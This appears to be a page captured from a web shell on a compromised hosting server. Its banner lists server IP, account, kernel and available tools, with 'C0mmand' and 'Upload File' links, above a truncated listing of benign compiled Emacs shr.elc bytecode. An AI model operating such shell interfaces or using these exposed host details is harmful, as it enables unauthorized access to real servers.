Server IP : 111.118.215.189 / Your IP : 18.117.158.174 Web Server : Apache System : Linux md-in-83.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : a1673wkz ( 2475) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /usr/share/emacs/24.3/lisp/gnus/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
;ELC ;;; Compiled by mockbuild@buildfarm06-new.corp.cloudlinux.com on Fri Oct 11 10:10:27 2024 ;;; from file /builddir/build/BUILD/emacs-24.3/lisp/gnus/shr.el ;;; in Emacs version 24.3.1 ;;; with all optimizations. ;;; This file contains utf-8 non-ASCII characters, ;;; and so cannot be loaded into Emacs 22 or earlier. (and (boundp 'emacs-version) (< (aref emacs-version (1- (length emacs-version))) ?A) (string-lessp emacs-version "23") (error "`%s' was compiled for Emacs 23 or later" #$)) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;; (byte-code "\300\301!\210\302\303\304\305\306\307\310\311&\210\312\313\314\315\306\307\310\303\316\317& \210\312\320\304\321\306\307\310\303\316\322& \210\312\323\324\325\310\303\316\326&\210\312\327\324\330\310\303\316\326&\210\312\331\324\332\310\303\316\326&\210\312\333\334\335\310\303\316\326&\210\312\336\337\340\316\341\310\303&\207" [require browse-url custom-declare-group shr nil "Simple HTML Renderer" :version "24.1" :group mail custom-declare-variable shr-max-image-proportion 0.9 "How big pictures displayed are in relation to the window they're in.\nA value of 0.7 means that they are allowed to take up 70% of the\nwidth and height of the window. If they are larger than this,\nand Emacs supports it, then the images will be rescaled down to\nfit these criteria." :type float shr-blocked-images "Images that have URLs matching this regexp will be blocked." regexp shr-table-horizontal-line 32 "Character used to draw horizontal table lines." character shr-table-vertical-line "Character used to draw vertical table lines." shr-table-corner "Character used to draw table corners." shr-hr-line 45 "Character used to draw hr lines." shr-width fill-column "Frame width to use for rendering.\nMay either be an integer specifying a fixed width in characters,\nor nil, meaning that the full width of the window should be\nused." (choice (integer :tag "Fixed width in characters") (const :tag "Use the width of the window" nil))] 10) #@157 If bound, this should be a function that will return the content. This is used for cid: URLs, and the function is called with the cid: URL as the argument. (defvar shr-content-function nil (#$ . 2001)) #@46 Function called to put image and alt string. (defvar shr-put-image-function 'shr-put-image (#$ . 2209)) (byte-code "\300\301\302\303\304\305%\210\300\306\307\310\304\305%\207" [custom-declare-face shr-strike-through ((t (:strike-through t))) "Font for <s> elements." :group shr shr-link ((t (:inherit link))) "Font for link elements."] 6) (defvar shr-folding-mode nil) (defvar shr-state nil) (defvar shr-start nil) (defvar shr-indentation 0) (defvar shr-inhibit-images nil) (defvar shr-list-mode nil) (defvar shr-content-cache nil) (defvar shr-kinsoku-shorten nil) (defvar shr-table-depth 0) (defvar shr-stylesheet nil) (defvar shr-base nil) (defvar shr-ignore-cache nil) (defvar shr-map (byte-code "\301 \302\303\304#\210\302\305\306#\210\302\307\310#\210\302\311\312#\210\302\313\314#\210\302\315\316#\210\302\317\320#\210\302\321\316#\210)\207" [map make-sparse-keymap define-key "a" shr-show-alt-text "i" shr-browse-image "z" shr-zoom-image "I" shr-insert-image "u" shr-copy-url "v" shr-browse-url "o" shr-save-contents " "] 4)) #@51 Display the HTML rendering of the current buffer. (defalias 'shr-render-buffer #[(buffer) "\301\302!\210\303 \210\304rq\210\305ed\")!\210eb\207" [buffer pop-to-buffer "*html*" erase-buffer shr-insert-document libxml-parse-html-region] 4 (#$ . 3258) (list (current-buffer))]) #@64 Parse FILE as an HTML document, and render it in a new buffer. (defalias 'shr-visit-file #[(file) "\302\303!rq\210\304\216\305 !\210\306p!+\207" [#1=#:temp-buffer file generate-new-buffer " *temp*" ((byte-code "\301!\203\n \302!\210\301\207" [#1# buffer-name kill-buffer] 2)) insert-file-contents shr-render-buffer] 2 (#$ . 3540) "fHTML file name: "]) #@139 Render the parsed document DOM into the current buffer. DOM should be a parse tree as generated by `libxml-parse-html-region' or similar. (defalias 'shr-insert-document #[(dom) "\306`\306\211\211 \206\f \307 \310\311!!\210\312 `\"-\207" [shr-content-cache shr-width shr-base shr-start shr-state start nil window-width shr-descend shr-transform-dom shr-remove-trailing-whitespace dom] 5 (#$ . 3903)]) (defalias 'shr-remove-trailing-whitespace #[(start end) "\305 \214 \n}\210 b\210m?\205C \306\210\307i!V\203= \310`!\306\211\203<